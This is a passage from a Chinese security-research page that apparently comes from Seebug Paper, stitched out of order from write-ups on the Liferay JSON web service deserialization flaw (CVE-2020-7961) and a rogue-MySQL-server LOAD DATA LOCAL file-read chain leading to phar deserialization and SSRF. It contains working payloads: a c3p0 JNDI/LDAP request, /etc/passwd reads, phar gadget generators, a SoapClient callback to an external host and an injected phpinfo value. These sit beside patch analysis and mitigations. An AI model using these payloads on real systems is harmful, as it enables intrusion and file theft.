public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）

TypeJsonSerializer<?> typeJsonSerializer = null;

if (jsonTransformer instanceof TypeJsonSerializer) {

typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;

} else {

typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);

}

this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);

return this;

}

public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {

TypeJsonSerializer<?> typeJsonSerializer = null;

if (jsonTransformer instanceof TypeJsonSerializer) {

typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;

} else {

typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);

}

this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);

return this;

}

static {

//全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理

JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());

JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());

JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());

JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());

}

private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {

private LongToStringTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, Long value) {

jsonContext.writeString(String.valueOf(value));

}

private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {

private JSONObjectTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, JSONObject jsonObject) {

jsonContext.write(jsonObject.toString());

}

private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {

private JSONArrayTypeJSONSerializer() {

}

public void serialize(JsonContext jsonContext, JSONArray jsonArray) {

jsonContext.write(jsonArray.toString());

}

能看出就是设置了JODD JsonSerializer在序列化时的一些功能。

JSONDeserializerImpl

Liferay对JODD JsonParser的包装是com.liferay.portal.json.JSONDeserializerImpl类：

public class JSONDeserializerImpl&lt;T> implements JSONDeserializer&lt;T> {
    private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置

    public JSONDeserializerImpl() {
        if (JavaDetector.isIBM()) {//探测JDK
            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
        }

        this._jsonDeserializer = new PortalJsonParser();
    }

    public T deserialize(String input) {
        return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化
    }

    public T deserialize(String input, Class&lt;T> targetType) {
        return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）
    }

    public &lt;K, V> JSONDeserializer&lt;T> transform(JSONDeserializerTransformer&lt;K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器
        ValueConverter&lt;K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
        this._jsonDeserializer.use(field, valueConverter);
        return this;
    }

    public JSONDeserializer&lt;T> use(String path, Class&lt;?> clazz) {
        this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的
        return this;
    }
}

public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {

private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置

public JSONDeserializerImpl() {

if (JavaDetector.isIBM()) {//探测JDK

SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关

}

this._jsonDeserializer = new PortalJsonParser();

}

public T deserialize(String input) {

return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化

}

public T deserialize(String input, Class<T> targetType) {

return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）

}

public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器

ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);

this._jsonDeserializer.use(field, valueConverter);

return this;

}

public JSONDeserializer<T> use(String path, Class<?> clazz) {

this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的

return this;

}

能看出也是设置了JODD JsonParser在反序列化时的一些功能。

Liferay 漏洞分析

Liferay在/api/jsonws API提供了几百个可以调用的Webservice，负责处理的该API的Servlet也直接在web.xml中进行了配置：

随意点一个方法看看：

看到这个有点感觉了，可以传递参数进行方法调用，有个p_auth是用来验证的，不过反序列化在验证之前，所以那个值对漏洞利用没影响。根据CODE WHITE那篇分析，是存在参数类型为Object的方法参数的，那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下，这里就不写正常的调用调试过程了，简单看一下post参数：

cmd={"/announcementsdelivery/update-delivery":{}}&amp;p_auth=cqUjvUKs&amp;formDate=1585293659009&amp;userId=11&amp;type=11&amp;email=true&amp;sms=true

1	cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

总的来说就是Liferay先查找/announcementsdelivery/update-delivery对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法。

但是抓包并没有类型指定，因为大多数类型是String、long、int、List、map等类型，JODD反序列化时会自动处理。但是对于某些接口/Object类型的field，如果要指定具体的类型，该怎么指定？

作者文中提到，Liferay Portal 7中只能显示指定rootType进行调用，从上面Liferay对JODD JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象，那么Liferay本身可能会先对数据进行解析，获取到指定的类型，然后调用JODD的parse(path,class)方法，传递解析出的具体类型来恢复这个参数对象；也有可能Liferay并没有这样做。不过从作者的分析中可以看出，Liferay确实这样做了。作者查找了jodd.json.Parser#rootType的调用图（羡慕这样的工具）：

通过向上查找的方式，作者找到了可能存在能指定根类型的地方，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl调用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize调用的是JSONSerializerImpl，JSONSerializerImpl调用的是JODD的JsonParse.parse。

com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的调用就是Liferay解析Web Service参数的过程了。它的上一层JSONWebServiceActionImpl#_prepareParameters(Class<?>)，JSONWebServiceActionImpl类有个_jsonWebServiceActionParameters属性：

这个属性中又保存着一个JSONWebServiceActionParametersMap，在它的put方法中，当参数以+开头时，它的put方法以:分割了传递的参数,:之前是参数名,:之后是类型名。

而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成：

通过上面的分析与作者的文章，我们能知道以下几点：

Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法
参数可以以+开头，用:指定参数类型
JODD JsonParse会调用类的默认构造方法，以及field对应的setter方法

所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链，可以直接找Jackson、带Yaml的，看他们继承的利用链，大多数也适合这个漏洞，同时也要看在Liferay中是否存在才能用。这里用com.mchange.v2.c3p0.JndiRefForwardingDataSource这个测试，用/expandocolumn/add-column这个Service，因为他有java.lang.Object参数：

Payload如下：

cmd={"/expandocolumn/add-column":{}}&amp;p_auth=Gyr2NhlX&amp;formDate=1585307550388&amp;tableId=1&amp;name=1&amp;type=1&amp;+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

1	cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

解析出了参数类型，并进行参数对象反序列化，最后到达了jndi查询：

补丁分析

Liferay补丁增加了类型校验，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中：

private void _checkTypeIsAssignable(int argumentPos, Class&lt;?> targetClass, Class&lt;?> parameterType) {
        String parameterTypeName = parameterType.getName();
        if (parameterTypeName.contains("com.liferay") &amp;&amp; parameterTypeName.contains("Util")) {//含有com.liferay与Util非法
            throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
        } else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验
            if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类
                throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
            } else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验
                if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验
                    if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
                        ServiceReference&lt;Object>[] serviceReferences = _serviceTracker.getServiceReferences();
                        if (serviceReferences != null) {
                            String key = "jsonws.web.service.parameter.type.whitelist.class.names";
                            ServiceReference[] var7 = serviceReferences;
                            int var8 = serviceReferences.length;

                            for(int var9 = 0; var9 &lt; var8; ++var9) {
                                ServiceReference&lt;Object> serviceReference = var7[var9];
                                List&lt;String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
                                if (whitelistedClassNames.contains(parameterTypeName)) {
                                    return;
                                }
                            }
                        }

                        throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
                    }
                }
            }
        }
    }

private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {

String parameterTypeName = parameterType.getName();

if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法

throw new IllegalArgumentException("Not instantiating " + parameterTypeName);

} else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验

if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类

throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));

} else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验

if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验

if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中

ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();

if (serviceReferences != null) {

String key = "jsonws.web.service.parameter.type.whitelist.class.names";

ServiceReference[] var7 = serviceReferences;

int var8 = serviceReferences.length;

for(int var9 = 0; var9 < var8; ++var9) {

ServiceReference<Object> serviceReference = var7[var9];

List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));

if (whitelistedClassNames.contains(parameterTypeName)) {

return;

}

throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");

}

_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES所有白名单类在portal.properties中，有点长就不列出来了，基本都是以com.liferay开头的类。

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1162/

作者：江 | Categories:技术分享、漏洞通告 | Tags: 漏洞分析

没有评论

CSS-T | Mysql Client 任意文件读取攻击链拓展

2020-07-31

作者：LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
英文版本：https://paper.seebug.org/1113/

这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

在后来的研究中，和@Dawu的讨论中顿时觉得这应该是一个很有趣的trick，在逐渐追溯这个漏洞的过去的过程中，我渐渐发现这个问题作为mysql的一份feature存在了很多年，从13年就有人分享这个问题。

在围绕这个漏洞的挖掘过程中，我们不断地发现新的利用方式，所以将其中大部分的发现都总结并准备了议题在CSS上分享，下面让我们来一步步分析。

Load data infile

load data infile是一个很特别的语法，熟悉注入或者经常打CTF的朋友可能会对这个语法比较熟悉，在CTF中，我们经常能遇到没办法load_file读取文件的情况，这时候唯一有可能读到文件的就是load data infile，一般我们常用的语句是这样的：

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

1	load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

mysql server会读取服务端的/etc/passwd然后将数据按照'\n'分割插入表中，但现在这个语句同样要求你有FILE权限，以及非local加载的语句也受到secure_file_priv的限制

mysql&gt; load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

如果我们修改一下语句，加入一个关键字local。

mysql&gt; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11  Deleted: 0  Skipped: 0  Warnings: 11

mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

Query OK, 11 rows affected, 11 warnings (0.01 sec)

Records: 11 Deleted: 0 Skipped: 0 Warnings: 11

加了local之后，这个语句就成了，读取客户端的文件发送到服务端，上面那个语句执行结果如下

很显然，这个语句是不安全的，在mysql的文档里也充分说明了这一点

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

在mysql文档中的说到，服务端可以要求客户端读取有可读权限的任何文件。

mysql认为客户端不应该连接到不可信的服务端。

我们今天的这个问题，就是围绕这个基础展开的。

构造恶意服务端

在思考明白了前面的问题之后，核心问题就成了，我们怎么构造一个恶意的mysql服务端。

在搞清楚这个问题之前，我们需要研究一下mysql正常执行链接和查询的数据包结构。

1、greeting包，服务端返回了banner，其中包含mysql的版本

2、客户端登录请求

3、然后是初始化查询，这里因为是phpmyadmin所以初始化查询比较多

4、load file local

由于我的环境在windows下，所以这里读取为C:/Windows/win.ini，语句如下

load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';

1	load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';

首先是客户端发送查询

然后服务端返回了需要的路径

然后客户端直接把内容发送到了服务端

看起来流程非常清楚，而且客户端读取文件的路径并不是从客户端指定的，而是发送到服务端，服务端制定的。

原本的查询流程为

客户端：我要把win.ini插入test表中
服务端：我要你的win.ini内容
客户端：win.ini的内容如下....

客户端：我要把win.ini插入test表中

服务端：我要你的win.ini内容

客户端：win.ini的内容如下....

假设服务端由我们控制，把一个正常的流程篡改成如下

客户端：我要test表中的数据
服务端：我要你的win.ini内容
客户端：win.ini的内容如下???

客户端：我要test表中的数据

服务端：我要你的win.ini内容

客户端：win.ini的内容如下???

上面的第三句究竟会不会执行呢？

让我们回到mysql的文档中，文档中有这么一句话：

服务端可以在任何查询语句后回复文件传输请求，也就是说我们的想法是成立的

在深入研究漏洞的过程中，不难发现这个漏洞是否成立在于Mysql client端的配置问题，而经过一番研究，我发现在mysql登录验证的过程中，会发送客户端的配置。

在greeting包之后，客户端就会链接并试图登录，同时数据包中就有关于是否允许使用load data local的配置，可以从这里直白的看出来客户端是否存在这个问题（这里返回的客户端配置不一定是准确的，后面会提到这个问题）。

poc

在想明白原理之后，构建恶意服务端就变得不那么难了，流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包 3.回复一个file transfer包

这里主要是构造包格式的问题，可以跟着原文以及各种文档完成上述的几次查询.

值得注意的是，原作者给出的poc并没有适配所有的情况，部分mysql客户端会在登陆成功之后发送ping包，如果没有回复就会断开连接。也有部分mysql client端对greeting包有较强的校验，建议直接抓包按照真实包内容来构造。

原作者给出的poc

https://github.com/Gifts/Rogue-MySql-Server

演示

这里用了一台腾讯云做服务端，客户端使用phpmyadmin连接

我们成功读取了文件。

影响范围

底层应用

在这个漏洞到底有什么影响的时候，我们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。

mysql client (pwned)
php mysqli (pwned，fixed by 7.3.4)
php pdo (默认禁用)
python MySQLdb (pwned)
python mysqlclient (pwned)
java JDBC Driver (pwned，部分条件下默认禁用)
navicat （pwned)

探针

在深入挖掘这个漏洞的过程中，第一时间想到的利用方式就是mysql探针，但可惜的是，在测试了市面上的大部分探针后发现大部分的探针连接之后只接受了greeting包就断开连接了，没有任何查询，尽职尽责。

雅黑PHP探针失败
iprober2 探针失败
PHP探针 for LNMP一键安装包失败
UPUPW PHP 探针失败
...

云服务商云数据库数据迁移服务

以上漏洞均在2018年报送官方并遵守漏洞纰漏原则

国内

腾讯云 DTS 失败，禁用Load data local
阿里云 RDS 数据迁移失败，禁用Load data local
华为云 RDS DRS服务成功

京东云 RDS不支持远程迁移功能，分布式关系数据库未开放
UCloud RDS不支持远程迁移功能，分布式关系数据库不能对外数据同步
QiNiu云 RDS不支持远程迁移功能
新睿云 RDS不支持远程迁移功能
网易云 RDS 外部实例迁移成功

金山云 RDS DTS数据迁移成功

青云Cloud RDS 数据导入失败，禁用load data local
百度Cloud RDS DTS 成功

国际云服务商

Google could SQL数据库迁移失败，禁用Load data infile
AWS RDS DMS服务成功

Excel online sql查询

之前的一篇文章中提到过，在Excel中一般有这样一个功能，从数据库中同步数据到表格内，这样一来就可以通过上述方式读取文件。

受到这个思路的启发，我们想到可以找online的excel的这个功能，这样就可以实现任意文件读取了。

WPS failed（没找到这个功能）
Microsoft excel failed（禁用了infile语句）
Google 表格（原生没有这个功能，但却支持插件，下面主要说插件）
- Supermetrics pwned

- Advanced CFO Solutions MySQL Query failed
- SeekWell failed
- Skyvia Query Gallery failed
- database Borwser failed
- Kloudio pwned

- Advanced CFO Solutions MySQL Query failed

- SeekWell failed

- Skyvia Query Gallery failed

- database Borwser failed

- Kloudio pwned

拓展？2RCE！

抛开我们前面提的一些很特殊的场景下，我们也要讨论一些这个漏洞在通用场景下的利用攻击链。

既然是围绕任意文件读取来讨论，那么最能直接想到的一定是有关配置文件的泄露所导致的漏洞了。

任意文件读 with 配置文件泄露

在Discuz x3.4的配置中存在这样两个文件

config/config_ucenter.php
config/config_global.php

1 2	config/config_ucenter.php config/config_global.php

在dz的后台，有一个ucenter的设置功能，这个功能中提供了ucenter的数据库服务器配置功能，通过配置数据库链接恶意服务器，可以实现任意文件读取获取配置信息。

配置ucenter的访问地址。

原地址： http://localhost:8086/upload/uc_server
修改为： http://localhost:8086/upload/uc_server\');phpinfo();//

1 2	原地址： http://localhost:8086/upload/uc_server 修改为： http://localhost:8086/upload/uc_server\');phpinfo();//

当我们获得了authkey之后，我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及UC_KEY来访问即可生效

任意文件读 to 反序列化

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题，原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。

在该议题中提到，在PHP中存在一个叫做Stream API，通过注册拓展可以注册相应的伪协议，而phar这个拓展就注册了phar://这个stream wrapper。

在我们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示，所有的文件函数都支持stream wrapper。

深入到函数中，我们可以发现，可以支持steam wrapper的原因是调用了

stream = php_stream_open_wrapper_ex(filename, "rb" ....);

1	stream = php_stream_open_wrapper_ex(filename, "rb" ....);

从这里，我们再回到mysql的load file local语句中，在mysqli中，mysql的读文件是通过php的函数实现的

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52

if (PG(open_basedir)) {
        if (php_check_open_basedir_ex(filename, 0) == -1) {
            strcpy(info-&gt;error_msg, "open_basedir restriction in effect. Unable to open file");
            info-&gt;error_no = CR_UNKNOWN_ERROR;
            DBG_RETURN(1);
        }
    }

    info-&gt;filename = filename;
    info-&gt;fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52

if (PG(open_basedir)) {

if (php_check_open_basedir_ex(filename, 0) == -1) {

strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");

info->error_no = CR_UNKNOWN_ERROR;

DBG_RETURN(1);

}

info->filename = filename;

info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

也同样调用了php_stream_open_wrapper_ex函数，也就是说，我们同样可以通过读取phar文件来触发反序列化。

复现

首先需要一个生成一个phar

pphar.php

&lt;?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}


@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar-&gt;startBuffering();
$phar-&gt;setStub("GIF89a "."&lt;?php __HALT_COMPILER(); ?&gt;"); //设置stub
$o = new A();
$phar-&gt;setMetadata($o); //将自定义的meta-data存入manifest
$phar-&gt;addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar-&gt;stopBuffering();
?&gt;

pphar.php

<?php

class A {

public $s = '';

public function __wakeup () {

echo "pwned!!";

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new A();

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

使用该文件生成一个phar.phar

然后我们模拟一次查询

test.php

&lt;?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}


$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');

// file_get_contents('phar://./phar.phar');

test.php

<?php

class A {

public $s = '';

public function __wakeup () {

echo "pwned!!";

}

$m = mysqli_init();

mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);

$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);

$p = mysqli_query($m, 'select 1;');

// file_get_contents('phar://./phar.phar');

图中我们只做了select 1查询，但我们伪造的evil mysql server中驱使mysql client去做load file local查询，读取了本地的

phar://./phar.phar

1	phar://./phar.phar

成功触发反序列化

反序列化 to RCE

当一个反序列化漏洞出现的时候，我们就需要从源代码中去寻找合适的pop链，建立在pop链的利用基础上，我们可以进一步的扩大反序列化漏洞的危害。

php序列化中常见的魔术方法有以下 - 当对象被创建的时候调用：construct - 当对象被销毁的时候调用：destruct - 当对象被当作一个字符串使用时候调用：toString - 序列化对象之前就调用此方法(其返回需要是一个数组)：sleep - 反序列化恢复对象之前就调用此方法：wakeup - 当调用对象中不存在的方法会自动调用此方法：call

配合与之相应的pop链，我们就可以把反序列化转化为RCE。

dedecms 后台反序列化漏洞 to SSRF

dedecms 后台，模块管理，安装UCenter模块。开始配置

首先需要找一个确定的UCenter服务端，可以通过找一个dz的站来做服务端。

然后就会触发任意文件读取，当然，如果读取文件为phar，则会触发反序列化。

我们需要先生成相应的phar

&lt;?php

class Control
{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=&gt;'http://example.com:5555', 'location'=&gt;'http://example.com:5555/aaa'));
    public $dsql;

    function __construct(){
        $this-&gt;dsql = new SoapClient(null,array('uri'=&gt;'http://xxxx:5555', 'location'=&gt;'http://xxxx:5555/aaa'));
    }

    function __destruct() {
        unset($this-&gt;tpl);
        $this-&gt;dsql-&gt;Close(TRUE);
    }
}

@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar-&gt;startBuffering();
$phar-&gt;setStub("GIF89a"."&lt;?php __HALT_COMPILER(); ?&gt;"); //设置stub，增加gif文件头
$o = new Control();
$phar-&gt;setMetadata($o); //将自定义meta-data存入manifest
$phar-&gt;addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar-&gt;stopBuffering();

?&gt;

<?php

class Control

{

var $tpl;

// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));

public $dsql;

function __construct(){

$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));

}

function __destruct() {

unset($this->tpl);

$this->dsql->Close(TRUE);

}

@unlink("dedecms.phar");

$phar = new Phar("dedecms.phar");

$phar->startBuffering();

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头

$o = new Control();

$phar->setMetadata($o); //将自定义meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

然后我们可以直接通过前台上传头像来传文件，或者直接后台也有文件上传接口，然后将rogue mysql server来读取这个文件

phar://./dedecms.phar/test.txt

1	phar://./dedecms.phar/test.txt

监听5555可以收到

ssrf进一步可以攻击redis等拓展攻击面，就不多说了。

部分CMS测试结果

CMS名	影响版本	是否存在mysql任意文件读取	是否有可控的MySQL服务器设置	是否有可控的反序列化	是否可上传phar	补丁
phpmyadmin	< 4.8.5	是	是	是	是	补丁
Dz	未修复	是	是	否	None	None
drupal	None	否(使用PDO)	否(安装)	是	是	None
dedecms	None	是	是(ucenter)	是(ssrf)	是	None
ecshop	None	是	是	否	是	None
禅道	None	否(PDO)	否	None	None	None
phpcms	None	是	是	是(ssrf)	是	None
帝国cms	None	是	是	否	None	None
phpwind	None	否(PDO)	是	None	None	None
mediawiki	None	是	否（后台没有修改mysql配置的方法）	是	是	None
Z-Blog	None	是	否（后台没有修改mysql配置的方法）	是	是	None

修复方式

对于大多数mysql的客户端来说，load file local是一个无用的语句，他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说，可以直接关闭这个功能，并不会影响到正常的使用。

具体的关闭方式见文档 - https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

对于不同服务端来说，这个配置都有不同的关法，对于JDBC来说，这个配置叫做allowLoadLocalInfile

https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html

在php的mysqli和mysql两种链接方式中，底层代码直接决定了这个配置。

这个配置是PHP_INI_SYSTEM，在php的文档中，这个配置意味着Entry can be set in php.ini or httpd.conf。

所以只有在php.ini中修改mysqli.allow_local_infile = Off就可以修复了。

在php7.3.4的更新中，mysqli中这个配置也被默认修改为关闭

https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5

可惜在不再更新的旧版本mysql5.6中，无论是mysql还是mysqli默认都为开启状态。

现在的代码中也可以通过mysqli_option，在链接前配置这个选项。

http://php.net/manual/zh/mysqli.options.php

比较有趣的是，通过这种方式修复，虽然禁用了allow_local_infile，但是如果使用wireshark抓包却发现allow_local_infile仍是启动的（但是无效）。

在旧版本的phpmyadmin中，先执行了mysqli_real_connect，然后设置mysql_option，这样一来allow_local_infile实际上被禁用了，但是在发起链接请求时中allow_local_infile还没有被禁用。

实际上是因为mysqli_real_connect在执行的时候，会初始化allow_local_infile。在php代码底层mysqli_real_connect实际是执行了mysqli_common_connect。而在mysqli_common_connect的代码中，设置了一次allow_local_infile。

https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251

如果在mysqli_real_connect之前设置mysql_option，其allow_local_infile的配置会被覆盖重写，其修改就会无效。

phpmyadmin在1月22日也正是通过交换两个函数的相对位置来修复了该漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f

说在最后

这是一个针对mysql feature的攻击模式，思路非常有趣，就目前而言在mysql层面没法修复，只有在客户端关闭了这个配置才能避免印象。虽然作为攻击面并不是很广泛，但可能针对一些特殊场景的时候，可以特别有效的将一个正常的功能转化为任意文件读取，在拓展攻击面上非常的有效。

详细的攻击场景这里就不做假设了，危害还是比较大的。

REF

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1112/

作者：叶霖杨 | Categories:技术分享 | Tags: 漏洞分析

没有评论

Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)

2020-07-31

作者：Longofo@知道创宇404实验室
时间：2020年3月27日
英文版本：https://paper.seebug.org/1163/

JODD序列化与反序列化

参考官方使用手册，先看下JODD的直接序列化与反序列化：

TestObject.java

package com.longofo;

import java.util.HashMap;

public class TestObject {
    private String name;
    private Object object;
    private HashMap&lt;String, String&gt; hashMap;

    public TestObject() {
        System.out.println("TestObject default constractor call");
    }

    public String getName() {
        System.out.println("TestObject getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("TestObject setName call");
        this.name = name;
    }

    public Object getObject() {
        System.out.println("TestObject getObject call");
        return object;
    }

    public void setObject(Object object) {
        System.out.println("TestObject setObject call");
        this.object = object;
